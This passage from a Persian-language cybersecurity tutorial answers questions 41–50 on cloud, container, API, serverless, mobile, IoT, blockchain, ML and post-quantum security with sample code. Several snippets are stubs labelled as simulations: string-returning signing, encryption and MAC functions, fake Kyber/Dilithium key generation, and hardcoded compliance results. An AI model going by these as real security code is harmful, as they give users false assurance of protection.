'2012-10-17', Statement: config.statements.map(stmt => ({ Effect: stmt.effect, Action: stmt.actions, Resource: stmt.resources, Condition: stmt.conditions || {} })) } })); } // رمزنگاری دادهها configureEncryption(encryptionConfig) { const encryption = { atRest: { enabled: true, kmsKeyId: encryptionConfig.kmsKeyId, algorithm: 'AES-256' }, inTransit: { enabled: true, tlsVersion: '1.2', certificateValidation: true }, keyManagement: { keyRotation: true, rotationPeriod: 365, // days keyBackup: true } }; console.log('Encryption configured:', encryption); return encryption; } // نظارت و لاگگیری configureMonitoring(monitoringConfig) { const monitoring = { cloudTrail: { enabled: true, includeGlobalServices: true, isMultiRegion: true, enableLogFileValidation: true }, cloudWatch: { enabled: true, logGroups: monitoringConfig.logGroups, alarms: this.createCloudWatchAlarms(monitoringConfig.alarms) }, securityHub: { enabled: true, standards: ['aws-foundational', 'cis', 'pci-dss'] }, guardDuty: { enabled: true, findingPublishingFrequency: 'FIFTEEN_MINUTES' } }; console.log('Monitoring configured:', monitoring); return monitoring; } createCloudWatchAlarms(alarmConfigs) { return alarmConfigs.map(config => ({ name: config.name, description: config.description, metricName: config.metricName, namespace: config.namespace, statistic: config.statistic, threshold: config.threshold, comparisonOperator: config.comparisonOperator, evaluationPeriods: config.evaluationPeriods, actions: config.actions })); } // بررسی انطباق async runComplianceCheck(framework) { const checks = { 'CIS': this.runCISChecks(), 'PCI-DSS': this.runPCIDSSChecks(), 'HIPAA': this.runHIPAAChecks(), 'SOC2': this.runSOC2Checks() }; const results = await checks[framework](); const complianceReport = { framework: framework, timestamp: new Date(), totalChecks: results.length, passed: results.filter(r => r.status === 'PASS').length, failed: results.filter(r => r.status === 'FAIL').length, warnings: results.filter(r => r.status === 'WARNING').length, results: results }; this.complianceChecks.push(complianceReport); return complianceReport; } async runCISChecks() { return [ { checkId: 'CIS-1.1', description: 'Ensure MFA is enabled for root account', status: 'PASS', details: 'Root account MFA is enabled' }, { checkId: 'CIS-2.1', description: 'Ensure CloudTrail is enabled', status: 'PASS', details: 'CloudTrail is enabled in all regions' }, { checkId: 'CIS-3.1', description: 'Ensure VPC flow logging is enabled', status: 'WARNING', details: 'VPC flow logging enabled but not in all VPCs' } ]; } // پاسخ به حوادث ابری async handleCloudIncident(incidentData) { const incident = { id: this.generateIncidentId(), type: incidentData.type, severity: incidentData.severity, description: incidentData.description, affectedResources: incidentData.affectedResources, timestamp: new Date(), status: 'OPEN', timeline: [] }; // اقدامات خودکار بر اساس نوع حادثه switch (incident.type) { case 'unauthorized_access': await this.handleUnauthorizedAccess(incident); break; case 'data_exfiltration': await this.handleDataExfiltration(incident); break; case 'resource_compromise': await this.handleResourceCompromise(incident); break; } this.incidents.push(incident); return incident; } async handleUnauthorizedAccess(incident) { // مسدود کردن IP مشکوک if (incident.sourceIP) { await this.blockIP(incident.sourceIP); incident.timeline.push({ timestamp: new Date(), action: 'IP_BLOCKED', details: `Blocked suspicious IP: ${incident.sourceIP}` }); } // غیرفعال کردن کاربر مشکوک if (incident.compromisedUser) { await this.disableUser(incident.compromisedUser); incident.timeline.push({ timestamp: new Date(), action: 'USER_DISABLED', details: `Disabled compromised user: ${incident.compromisedUser}` }); } } // گزارش امنیت ابری generateCloudSecurityReport() { const report = { reportDate: new Date(), provider: this.provider, securityPosture: this.assessSecurityPosture(), complianceStatus: this.getComplianceStatus(), incidents: this.getIncidentSummary(), recommendations: this.generateRecommendations() }; return report; } assessSecurityPosture() { return { networkSecurity: 'GOOD', identityManagement: 'EXCELLENT', dataProtection: 'GOOD', monitoring: 'EXCELLENT', incidentResponse: 'GOOD' }; } generateSGId() { return `sg-${Math.random().toString(36).substr(2, 8)}`; } generateIncidentId() { return `CLOUD-INC-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`; } } // استفاده const cloudSecurity = new CloudSecurityManager('AWS'); // پیکربندی امنیت شبکه const networkConfig = cloudSecurity.configureNetworkSecurity({ vpcId: 'vpc-12345', cidr: '10.0.0.0/16', securityGroups: [ { name: 'web-servers', description: 'Security group for web servers', inboundRules: [ { protocol: 'tcp', port: 80, source: '0.0.0.0/0', description: 'HTTP' }, { protocol: 'tcp', port: 443, source: '0.0.0.0/0', description: 'HTTPS' } ], outboundRules: [ { protocol: 'tcp', port: 3306, destination: 'sg-database', description: 'MySQL' } ] } ] }); // اجرای بررسی انطباق cloudSecurity.runComplianceCheck('CIS').then(report => { console.log('Compliance Report:', report); });
41. مفهوم Container Security چیست؟
پاسخ:
Container Security مجموعهای از روشها و ابزارهاست که برای محافظت از کانتینرها، تصاویر کانتینر و محیطهای اجرای آنها استفاده میشود.
- Image Vulnerabilities: آسیبپذیریهای تصویر
- Runtime Security: امنیت زمان اجرا
- Network Isolation: جداسازی شبکه
- Secrets Management: مدیریت اسرار
// Dockerfile امن # استفاده از base image رسمی و بهروز FROM node:18-alpine # ایجاد کاربر غیر root RUN addgroup -g 1001 -S nodejs RUN adduser -S nextjs -u 1001 # تنظیم دایرکتوری کار WORKDIR /app # کپی فایلهای dependency COPY package*.json ./ # نصب dependencies RUN npm ci --only=production && npm cache clean --force # کپی کد برنامه COPY --chown=nextjs:nodejs . . # حذف فایلهای غیرضروری RUN rm -rf .git .gitignore README.md # تنظیم مجوزها RUN chmod -R 755 /app # تغییر به کاربر غیر root USER nextjs # expose کردن پورت EXPOSE 3000 # تنظیم متغیر محیطی ENV NODE_ENV=production # اجرای برنامه CMD ["npm", "start"]
42. مفهوم API Gateway Security چیست؟
پاسخ:
API Gateway Security مجموعهای از کنترلها و سیاستهاست که در لایه API Gateway برای محافظت از APIها پیادهسازی میشود.
- Authentication: احراز هویت
- Authorization: مجوزدهی
- Rate Limiting: محدودیت نرخ
- Input Validation: اعتبارسنجی ورودی
// پیکربندی API Gateway امن const express = require('express'); const rateLimit = require('express-rate-limit'); const helmet = require('helmet'); const app = express(); // امنیت عمومی app.use(helmet()); // Rate Limiting const limiter = rateLimit({ windowMs: 15 * 60 * 1000, // 15 دقیقه max: 100 // حداکثر 100 درخواست }); app.use('/api/', limiter); // Authentication Middleware app.use('/api/', authenticateToken); // Proxy به microservices app.use('/api/users', proxy('http://user-service:3001')); app.use('/api/orders', proxy('http://order-service:3002'));
43. مفهوم Microservices Security چیست؟
پاسخ:
Microservices Security رویکردهای امنیتی خاص برای معماری میکروسرویس که شامل امنیت ارتباطات بین سرویسها، احراز هویت توزیع شده و مدیریت اسرار است.
- Service-to-Service Communication: ارتباط بین سرویسها
- Distributed Authentication: احراز هویت توزیع شده
- Secret Management: مدیریت اسرار
- Network Segmentation: بخشبندی شبکه
// Service Mesh Security با Istio apiVersion: security.istio.io/v1beta1 kind: PeerAuthentication metadata: name: default namespace: production spec: mtls: mode: STRICT --- apiVersion: security.istio.io/v1beta1 kind: AuthorizationPolicy metadata: name: user-service-policy namespace: production spec: selector: matchLabels: app: user-service rules: - from: - source: principals: ["cluster.local/ns/production/sa/api-gateway"] to: - operation: methods: ["GET", "POST"]
44. مفهوم Serverless Security چیست؟
پاسخ:
Serverless Security مجموعهای از روشها و بهترین شیوههاست که برای محافظت از برنامههای serverless و توابع ابری استفاده میشود.
- Function Event Injection: تزریق رویداد
- Broken Authentication: احراز هویت شکسته
- Insecure Deployment: استقرار ناامن
- Over-Privileged Functions: توابع با امتیاز بیش از حد
// AWS Lambda امن const AWS = require('aws-sdk'); // تنظیم امن AWS SDK AWS.config.update({ region: process.env.AWS_REGION, // استفاده از IAM roles به جای hardcoded keys }); exports.handler = async (event, context) => { try { // اعتبارسنجی ورودی if (!event.body) { return { statusCode: 400, body: JSON.stringify({ error: 'Missing request body' }) }; } const data = JSON.parse(event.body); // Sanitize input const sanitizedData = sanitizeInput(data); // Process request const result = await processRequest(sanitizedData); return { statusCode: 200, headers: { 'Content-Type': 'application/json', 'X-Content-Type-Options': 'nosniff' }, body: JSON.stringify(result) }; } catch (error) { console.error('Error:', error); return { statusCode: 500, body: JSON.stringify({ error: 'Internal server error' }) }; } };
45. مفهوم Mobile Application Security چیست؟
پاسخ:
Mobile Application Security مجموعهای از تکنیکها و روشهاست که برای محافظت از برنامههای موبایل در برابر تهدیدات امنیتی استفاده میشود.
- Insecure Data Storage: ذخیرهسازی ناامن داده
- Weak Cryptography: رمزنگاری ضعیف
- Insecure Communication: ارتباط ناامن
- Code Tampering: دستکاری کد
// React Native امن import AsyncStorage from '@react-native-async-storage/async-storage'; import CryptoJS from 'crypto-js'; import { Keychain } from 'react-native-keychain'; class SecureStorage { // ذخیره امن دادهها static async storeSecureData(key, data) { try { const encryptedData = CryptoJS.AES.encrypt( JSON.stringify(data), await this.getEncryptionKey() ).toString(); await AsyncStorage.setItem(key, encryptedData); } catch (error) { console.error('Error storing secure data:', error); } } // بازیابی امن دادهها static async getSecureData(key) { try { const encryptedData = await AsyncStorage.getItem(key); if (!encryptedData) return null; const decryptedBytes = CryptoJS.AES.decrypt( encryptedData, await this.getEncryptionKey() ); return JSON.parse(decryptedBytes.toString(CryptoJS.enc.Utf8)); } catch (error) { console.error('Error retrieving secure data:', error); return null; } } // مدیریت کلید رمزنگاری static async getEncryptionKey() { try { const credentials = await Keychain.getInternetCredentials('encryption_key'); if (credentials) { return credentials.password; } else { // تولید کلید جدید const newKey = CryptoJS.lib.WordArray.random(256/8).toString(); await Keychain.setInternetCredentials('encryption_key', 'key', newKey); return newKey; } } catch (error) { console.error('Error managing encryption key:', error); throw error; } } }
46. مفهوم IoT Security چیست؟
پاسخ:
IoT Security مجموعهای از روشها و تکنولوژیهاست که برای محافظت از دستگاههای اینترنت اشیاء و شبکههای متصل به آنها استفاده میشود.
- Device Authentication: احراز هویت دستگاه
- Firmware Security: امنیت firmware
- Communication Security: امنیت ارتباطات
- Physical Security: امنیت فیزیکی
// IoT Device Security Implementation class IoTDeviceSecurity { constructor(deviceId, privateKey) { this.deviceId = deviceId; this.privateKey = privateKey; this.sessionKey = null; } // احراز هویت دستگاه async authenticateDevice() { const timestamp = Date.now(); const nonce = this.generateNonce(); const message = `${this.deviceId}:${timestamp}:${nonce}`; const signature = this.signMessage(message, this.privateKey); const authRequest = { deviceId: this.deviceId, timestamp: timestamp, nonce: nonce, signature: signature }; try { const response = await fetch('/api/device/auth', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(authRequest) }); if (response.ok) { const authData = await response.json(); this.sessionKey = authData.sessionKey; return true; } return false; } catch (error) { console.error('Authentication failed:', error); return false; } } // ارسال داده امن async sendSecureData(data) { if (!this.sessionKey) { throw new Error('Device not authenticated'); } const encryptedData = this.encryptData(data, this.sessionKey); const mac = this.generateMAC(encryptedData, this.sessionKey); const securePayload = { deviceId: this.deviceId, data: encryptedData, mac: mac, timestamp: Date.now() }; return await fetch('/api/device/data', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(securePayload) }); } // بهروزرسانی امن firmware async updateFirmware(firmwareUrl, expectedHash) { try { // دانلود firmware const response = await fetch(firmwareUrl); const firmwareData = await response.arrayBuffer(); // تأیید hash const actualHash = await this.calculateHash(firmwareData); if (actualHash !== expectedHash) { throw new Error('Firmware hash mismatch'); } // تأیید امضای دیجیتال const isValid = await this.verifyFirmwareSignature(firmwareData); if (!isValid) { throw new Error('Invalid firmware signature'); } // نصب firmware await this.installFirmware(firmwareData); return true; } catch (error) { console.error('Firmware update failed:', error); return false; } } generateNonce() { return Math.random().toString(36).substring(2, 15); } signMessage(message, privateKey) { // شبیهسازی امضای دیجیتال return `signature_${message}_${privateKey}`; } encryptData(data, key) { // شبیهسازی رمزنگاری return `encrypted_${JSON.stringify(data)}_${key}`; } generateMAC(data, key) { // شبیهسازی MAC return `mac_${data}_${key}`; } }
47. مفهوم Blockchain Security چیست؟
پاسخ:
Blockchain Security مجموعهای از اصول و تکنیکهاست که برای محافظت از شبکههای بلاکچین، قراردادهای هوشمند و داراییهای دیجیتال استفاده میشود.
- Smart Contract Vulnerabilities: آسیبپذیری قراردادهای هوشمند
- Private Key Management: مدیریت کلیدهای خصوصی
- 51% Attack: حمله اکثریت
- Front-running: پیشدستی در معاملات
// Smart Contract امن (Solidity) pragma solidity ^0.8.0; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; contract SecureContract is ReentrancyGuard, Ownable, Pausable { mapping(address => uint256) private balances; event Deposit(address indexed user, uint256 amount); event Withdrawal(address indexed user, uint256 amount); // محافظت در برابر overflow/underflow function deposit() external payable whenNotPaused { require(msg.value > 0, "Deposit amount must be greater than 0"); // بررسی overflow require(balances[msg.sender] + msg.value >= balances[msg.sender], "Overflow detected"); balances[msg.sender] += msg.value; emit Deposit(msg.sender, msg.value); } // محافظت در برابر reentrancy function withdraw(uint256 amount) external nonReentrant whenNotPaused { require(amount > 0, "Withdrawal amount must be greater than 0"); require(balances[msg.sender] >= amount, "Insufficient balance"); // تغییر state قبل از external call balances[msg.sender] -= amount; // external call در انتها (bool success, ) = msg.sender.call{value: amount}(""); require(success, "Transfer failed"); emit Withdrawal(msg.sender, amount); } // تابع اضطراری برای توقف قرارداد function emergencyPause() external onlyOwner { _pause(); } function unpause() external onlyOwner { _unpause(); } // محدودیت gas برای جلوگیری از DoS function batchTransfer(address[] calldata recipients, uint256[] calldata amounts) external whenNotPaused { require(recipients.length == amounts.length, "Arrays length mismatch"); require(recipients.length <= 100, "Too many recipients"); // محدودیت gas for (uint256 i = 0; i < recipients.length; i++) { require(recipients[i] != address(0), "Invalid recipient"); require(amounts[i] > 0, "Invalid amount"); // انتقال امن _transfer(msg.sender, recipients[i], amounts[i]); } } function _transfer(address from, address to, uint256 amount) private { require(balances[from] >= amount, "Insufficient balance"); balances[from] -= amount; balances[to] += amount; } function getBalance(address user) external view returns (uint256) { return balances[user]; } }
48. مفهوم AI/ML Security چیست؟
پاسخ:
AI/ML Security مجموعهای از روشها و تکنیکهاست که برای محافظت از سیستمهای هوش مصنوعی و یادگیری ماشین در برابر حملات و سوءاستفاده استفاده میشود.
- Adversarial Attacks: حملات خصمانه
- Data Poisoning: مسموم کردن داده
- Model Extraction: استخراج مدل
- Privacy Attacks: حملات حریم خصوصی
// محافظت از مدل ML import numpy as np from sklearn.ensemble import IsolationForest import joblib class MLModelSecurity: def __init__(self, model_path): self.model = joblib.load(model_path) self.anomaly_detector = IsolationForest(contamination=0.1) self.input_validator = InputValidator() def secure_predict(self, input_data): """پیشبینی امن با اعتبارسنجی ورودی""" try: # اعتبارسنجی ورودی if not self.input_validator.validate(input_data): raise ValueError("Invalid input data") # تشخیص anomaly if self.is_anomalous_input(input_data): raise ValueError("Anomalous input detected") # محدودیت rate limiting if not self.check_rate_limit(): raise ValueError("Rate limit exceeded") # پیشبینی prediction = self.model.predict(input_data) # فیلتر کردن خروجی filtered_output = self.filter_output(prediction) return filtered_output except Exception as e: self.log_security_event(str(e), input_data) raise def is_anomalous_input(self, input_data): """تشخیص ورودیهای مشکوک""" anomaly_score = self.anomaly_detector.decision_function(input_data.reshape(1, -1)) return anomaly_score[0] < -0.5 def filter_output(self, prediction): """فیلتر کردن خروجی برای جلوگیری از افشای اطلاعات""" # حذف اطلاعات حساس از خروجی if hasattr(prediction, 'confidence'): # محدود کردن دقت confidence prediction.confidence = round(prediction.confidence, 2) return prediction def add_differential_privacy(self, prediction, epsilon=1.0): """اضافه کردن نویز برای حفظ حریم خصوصی""" noise = np.random.laplace(0, 1/epsilon, prediction.shape) return prediction + noise class InputValidator: def __init__(self): self.min_values = {} self.max_values = {} self.allowed_types = {} def validate(self, input_data): """اعتبارسنجی ورودی""" # بررسی نوع داده if not isinstance(input_data, np.ndarray): return False # بررسی محدوده مقادیر if np.any(input_data < -1000) or np.any(input_data > 1000): return False # بررسی NaN یا Infinity if np.any(np.isnan(input_data)) or np.any(np.isinf(input_data)): return False return True # Federated Learning امن class SecureFederatedLearning: def __init__(self): self.participants = [] self.global_model = None def add_participant(self, participant_id, public_key): """اضافه کردن شرکتکننده""" self.participants.append({ 'id': participant_id, 'public_key': public_key, 'reputation': 1.0 }) def aggregate_models(self, local_models): """تجمیع امن مدلهای محلی""" # اعتبارسنجی مدلها validated_models = [] for model in local_models: if self.validate_model(model): validated_models.append(model) # تجمیع با وزندهی بر اساس reputation weighted_average = self.compute_weighted_average(validated_models) # اضافه کردن نویز برای حفظ حریم خصوصی noisy_model = self.add_privacy_noise(weighted_average) return noisy_model def validate_model(self, model): """اعتبارسنجی مدل دریافتی""" # بررسی اندازه مدل if self.get_model_size(model) > 100_000_000: # 100MB return False # بررسی gradient clipping if self.has_large_gradients(model): return False return True def compute_weighted_average(self, models): """محاسبه میانگین وزندار""" total_weight = sum(p['reputation'] for p in self.participants) averaged_weights = {} for layer_name in models[0].keys(): layer_sum = np.zeros_like(models[0][layer_name]) for i, model in enumerate(models): weight = self.participants[i]['reputation'] / total_weight layer_sum += weight * model[layer_name] averaged_weights[layer_name] = layer_sum return averaged_weights
49. مفهوم Quantum Cryptography چیست؟
پاسخ:
Quantum Cryptography استفاده از اصول مکانیک کوانتومی برای ایجاد سیستمهای رمزنگاری که از نظر تئوری غیرقابل شکستن هستند.
- Quantum Key Distribution (QKD): توزیع کلید کوانتومی
- Quantum Entanglement: درهمتنیدگی کوانتومی
- No-Cloning Theorem: قضیه عدم کپیبرداری
- Heisenberg Uncertainty: اصل عدم قطعیت
- RSA Breaking: شکستن RSA
- ECC Vulnerability: آسیبپذیری ECC
- Post-Quantum Cryptography: رمزنگاری پس از کوانتوم
// شبیهسازی Post-Quantum Cryptography class PostQuantumCrypto { constructor() { // الگوریتمهای مقاوم در برابر کوانتوم this.algorithms = { 'CRYSTALS-Kyber': 'Lattice-based key encapsulation', 'CRYSTALS-Dilithium': 'Lattice-based digital signatures', 'FALCON': 'Lattice-based signatures', 'SPHINCS+': 'Hash-based signatures' }; } // تولید کلید با الگوریتم مقاوم کوانتوم generateQuantumResistantKeys(algorithm = 'CRYSTALS-Kyber') { switch (algorithm) { case 'CRYSTALS-Kyber': return this.generateKyberKeys(); case 'CRYSTALS-Dilithium': return this.generateDilithiumKeys(); default: throw new Error(`Unsupported algorithm: ${algorithm}`); } } generateKyberKeys() { // شبیهسازی تولید کلید Kyber const privateKey = this.generateRandomMatrix(768); // Kyber-768 const publicKey = this.generatePublicFromPrivate(privateKey); return { algorithm: 'CRYSTALS-Kyber-768', privateKey: privateKey, publicKey: publicKey, keySize: 768, securityLevel: 128 // bits }; } generateDilithiumKeys() { // شبیهسازی تولید کلید Dilithium const privateKey = this.generateRandomPolynomial(256); const publicKey = this.generateDilithiumPublic(privateKey); return { algorithm: 'CRYSTALS-Dilithium-2', privateKey: privateKey, publicKey: publicKey, signatureSize: 2420, // bytes securityLevel: 128 // bits }; } // رمزنگاری مقاوم کوانتوم encryptQuantumSafe(data, publicKey, algorithm = 'CRYSTALS-Kyber') { const encryptedData = { algorithm: algorithm, timestamp: new Date().toISOString(), ciphertext: this.performEncryption(data, publicKey, algorithm), keyEncapsulation: this.generateKeyEncapsulation(publicKey) }; return encryptedData; } // امضای دیجیتال مقاوم کوانتوم signQuantumSafe(message, privateKey, algorithm = 'CRYSTALS-Dilithium') { const signature = { algorithm: algorithm, timestamp: new Date().toISOString(), message: message, signature: this.performSigning(message, privateKey, algorithm), publicKeyHash: this.hashPublicKey(privateKey.publicKey) }; return signature; } // بررسی امضا verifyQuantumSafe(signedMessage, publicKey) { try { const isValid = this.performVerification( signedMessage.message, signedMessage.signature, publicKey, signedMessage.algorithm ); return { isValid: isValid, algorithm: signedMessage.algorithm, verifiedAt: new Date().toISOString() }; } catch (error) { return { isValid: false, error: error.message }; } } // ارزیابی آمادگی کوانتومی assessQuantumReadiness(currentCrypto) { const assessment = { currentAlgorithms: currentCrypto, quantumVulnerable: [], quantumSafe: [], recommendations: [] }; currentCrypto.forEach(algo => { if (this.isQuantumVulnerable(algo)) { assessment.quantumVulnerable.push(algo); assessment.recommendations.push( `Replace ${algo} with ${this.getQuantumSafeAlternative(algo)}` ); } else { assessment.quantumSafe.push(algo); } }); assessment.readinessScore = ( assessment.quantumSafe.length / currentCrypto.length * 100 ).toFixed(1); return assessment; } isQuantumVulnerable(algorithm) { const vulnerableAlgorithms = [ 'RSA', 'ECDSA', 'ECDH', 'DH', 'DSA' ]; return vulnerableAlgorithms.includes(algorithm); } getQuantumSafeAlternative(algorithm) { const alternatives = { 'RSA': 'CRYSTALS-Kyber', 'ECDSA': 'CRYSTALS-Dilithium', 'ECDH': 'CRYSTALS-Kyber', 'DH': 'CRYSTALS-Kyber', 'DSA': 'FALCON' }; return alternatives[algorithm] || 'SPHINCS+'; } // توابع کمکی (شبیهسازی) generateRandomMatrix(size) { return Array(size).fill().map(() => Math.random()); } generateRandomPolynomial(degree) { return Array(degree).fill().map(() => Math.floor(Math.random() * 256)); } generatePublicFromPrivate(privateKey) { // شبیهسازی تولید کلید عمومی return privateKey.map(x => (x * 2) % 256); } performEncryption(data, publicKey, algorithm) { // شبیهسازی رمزنگاری return `encrypted_${algorithm}_${data}`; } performSigning(message, privateKey, algorithm) { // شبیهسازی امضا return `signature_${algorithm}_${message}_${privateKey.length}`; } } // استفاده const pqCrypto = new PostQuantumCrypto(); // تولید کلیدهای مقاوم کوانتوم const keys = pqCrypto.generateQuantumResistantKeys('CRYSTALS-Kyber'); console.log('Quantum-resistant keys generated:', keys); // ارزیابی آمادگی کوانتومی const currentCrypto = ['RSA-2048', 'ECDSA-P256', 'AES-256']; const assessment = pqCrypto.assessQuantumReadiness(currentCrypto); console.log('Quantum readiness assessment:', assessment);
50. آینده امنیت سایبری چگونه خواهد بود؟
پاسخ:
آینده امنیت سایبری شامل تکنولوژیهای نوظهور، تهدیدات جدید و رویکردهای نوآورانه برای محافظت از داراییهای دیجیتال خواهد بود.
- AI-Powered Security: امنیت مبتنی بر هوش مصنوعی
- Quantum Computing: محاسبات کوانتومی
- Zero Trust Evolution: تکامل Zero Trust
- Autonomous Security: امنیت خودکار
- Privacy-Preserving Technologies: تکنولوژیهای حافظ حریم خصوصی
- AI-Generated Attacks: حملات تولید شده با AI
- Quantum Attacks: حملات کوانتومی
- Deepfake Security: تهدیدات Deepfake
- IoT Botnets: باتنتهای IoT
- Supply Chain Attacks: حملات زنجیره تأمین
- Homomorphic Encryption: رمزنگاری همومورفیک
- Secure Multi-party Computation: محاسبه امن چندطرفه
- Confidential Computing: محاسبه محرمانه
- Behavioral Biometrics: بیومتریک رفتاری
- Decentralized Identity: هویت غیرمتمرکز
// چشمانداز امنیت آینده class FutureCyberSecurity { constructor() { this.aiSecurityEngine = new AISecurityEngine(); this.quantumSafeProtocols = new QuantumSafeProtocols(); this.autonomousDefense = new AutonomousDefense(); this.privacyPreservingTech = new PrivacyPreservingTech(); } // سیستم دفاعی خودکار async deployAutonomousDefense() { const defenseSystem = { aiThreatDetection: { enabled: true, models: ['anomaly_detection', 'behavioral_analysis', 'threat_prediction'], accuracy: 99.5, falsePositiveRate: 0.1 }, adaptiveResponse: { enabled: true, responseTime: '< 1 second', capabilities: [ 'automatic_isolation', 'threat_neutralization', 'system_hardening', 'evidence_collection' ] }, continuousLearning: { enabled: true, learningRate: 'real-time', dataSource: ['global_threat_intel', 'local_patterns', 'user_behavior'] } }; console.log('Autonomous defense system deployed:', defenseSystem); return defenseSystem; } // محافظت از حریم خصوصی با تکنولوژیهای نوین async implementPrivacyPreservingAnalytics() { const privacyTech = { homomorphicEncryption: { enabled: true, scheme: 'CKKS', operations: ['addition', 'multiplication', 'comparison'], useCase: 'encrypted_data_analysis' }, differentialPrivacy: { enabled: true, epsilon: 1.0, mechanism: 'Laplace', useCase: 'statistical_queries' }, secureMPC: { enabled: true, parties: 3, protocol: 'BGW', useCase: 'collaborative_ml' }, federatedLearning: { enabled: true, participants: 100, aggregationMethod: 'FedAvg', privacyBudget: 10.0 } }; console.log('Privacy-preserving analytics implemented:', privacyTech); return privacyTech; } // هویت غیرمتمرکز async deployDecentralizedIdentity() { const didSystem = { blockchain: 'Ethereum', identityStandard: 'W3C DID', verifiableCredentials: true, features: { selfSovereignIdentity: true, zeroKnowledgeProofs: true, biometricAuthentication: true, crossPlatformInteroperability: true }, privacyFeatures: { selectiveDisclosure: true, unlinkability: true, minimumDataExposure: true } }; console.log('Decentralized identity system deployed:', didSystem); return didSystem; } // پیشبینی تهدیدات آینده async predictFutureThreats() { const threatPrediction = { aiGeneratedThreats: { probability: 0.95, timeframe: '2-3 years', impact: 'HIGH', mitigation: 'AI-powered defense systems' }, quantumThreats: { probability: 0.70, timeframe: '5-10 years', impact: 'CRITICAL', mitigation: 'Post-quantum cryptography' }, deepfakeAttacks: { probability: 0.90, timeframe: '1-2 years', impact: 'MEDIUM', mitigation: 'Deepfake detection AI' }, iotBotnets: { probability: 0.85, timeframe: '1-3 years', impact: 'HIGH', mitigation: 'IoT security standards' } }; console.log('Future threat predictions:', threatPrediction); return threatPrediction; } // راهنمای آمادگی برای آینده generateFutureReadinessGuide() { return { immediate: [ 'Implement Zero Trust architecture', 'Deploy AI-powered threat detection', 'Start quantum-safe cryptography migration', 'Enhance privacy-preserving technologies' ], shortTerm: [ 'Develop autonomous security capabilities', 'Implement decentralized identity systems', 'Build quantum-resistant infrastructure', 'Create AI ethics frameworks' ], longTerm: [ 'Full quantum computing integration', 'Complete autonomous security ecosystem', 'Advanced privacy-preserving analytics', 'Next-generation threat prediction' ], continuousActions: [ 'Security awareness training', 'Threat intelligence sharing', 'Research and development', 'International cooperation' ] }; } } // نمونه استفاده const futureSecurity = new FutureCyberSecurity(); // استقرار سیستمهای آینده async function deployFutureSecurity() { console.log('🚀 Deploying Future Cybersecurity Systems...\n'); await futureSecurity.deployAutonomousDefense(); await futureSecurity.implementPrivacyPreservingAnalytics(); await futureSecurity.deployDecentralizedIdentity(); const threats = await futureSecurity.predictFutureThreats(); const guide = futureSecurity.generateFutureReadinessGuide(); console.log('\n📊 Future Readiness Guide:'); console.log(guide); } // deployFutureSecurity();
- سرمایهگذاری در AI Security: توسعه قابلیتهای هوش مصنوعی
- آموزش مداوم: بهروزرسانی مهارتهای تیم
- همکاری بینالمللی: اشتراک اطلاعات تهدیدات
- تحقیق و توسعه: سرمایهگذاری در تکنولوژیهای نوین